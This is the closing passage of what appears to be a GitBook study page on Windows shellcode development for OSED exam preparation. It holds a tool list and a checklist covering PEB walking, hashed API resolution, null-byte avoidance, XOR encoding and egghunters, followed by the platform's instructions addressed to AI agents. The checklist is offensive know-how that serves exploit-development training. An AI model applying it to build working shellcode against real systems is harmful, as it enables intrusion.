* [ReactOS Source](https://github.com/reactos/reactos) — Win32 API internals reference

### Tools

| Tool            | URL                                      |
| --------------- | ---------------------------------------- |
| NASM            | <https://nasm.us>                        |
| keystone-engine | <https://www.keystone-engine.org>        |
| pwntools        | <https://github.com/Gallopsled/pwntools> |
| mona.py         | <https://github.com/corelan/mona>        |
| CFF Explorer    | <https://ntcore.com/?page\\_id=388>      |
| Process Hacker  | <https://processhacker.sourceforge.io>   |

***

## Shellcode Development Checklist

* [ ] Shellcode is position-independent (no hardcoded addresses)
* [ ] PEB walk resolves kernel32 dynamically
* [ ] All API addresses resolved via export table hash walk
* [ ] No bad characters in shellcode bytes
* [ ] Null bytes eliminated with XOR/arithmetic tricks
* [ ] Strings pushed onto stack in reverse without null bytes
* [ ] Stack properly aligned before API calls
* [ ] Direction flag cleared (`CLD`) before string operations
* [ ] Shellcode tested in C loader under debugger
* [ ] Encoded if necessary (XOR encoder + decoder stub)
* [ ] Egghunter tag is unique and not in shellcode itself
* [ ] `ExitProcess` called at the end to cleanly terminate

***

*Study hard. Break things. Patch them back. — OSED mindset*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/shellcode-from-scratch.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
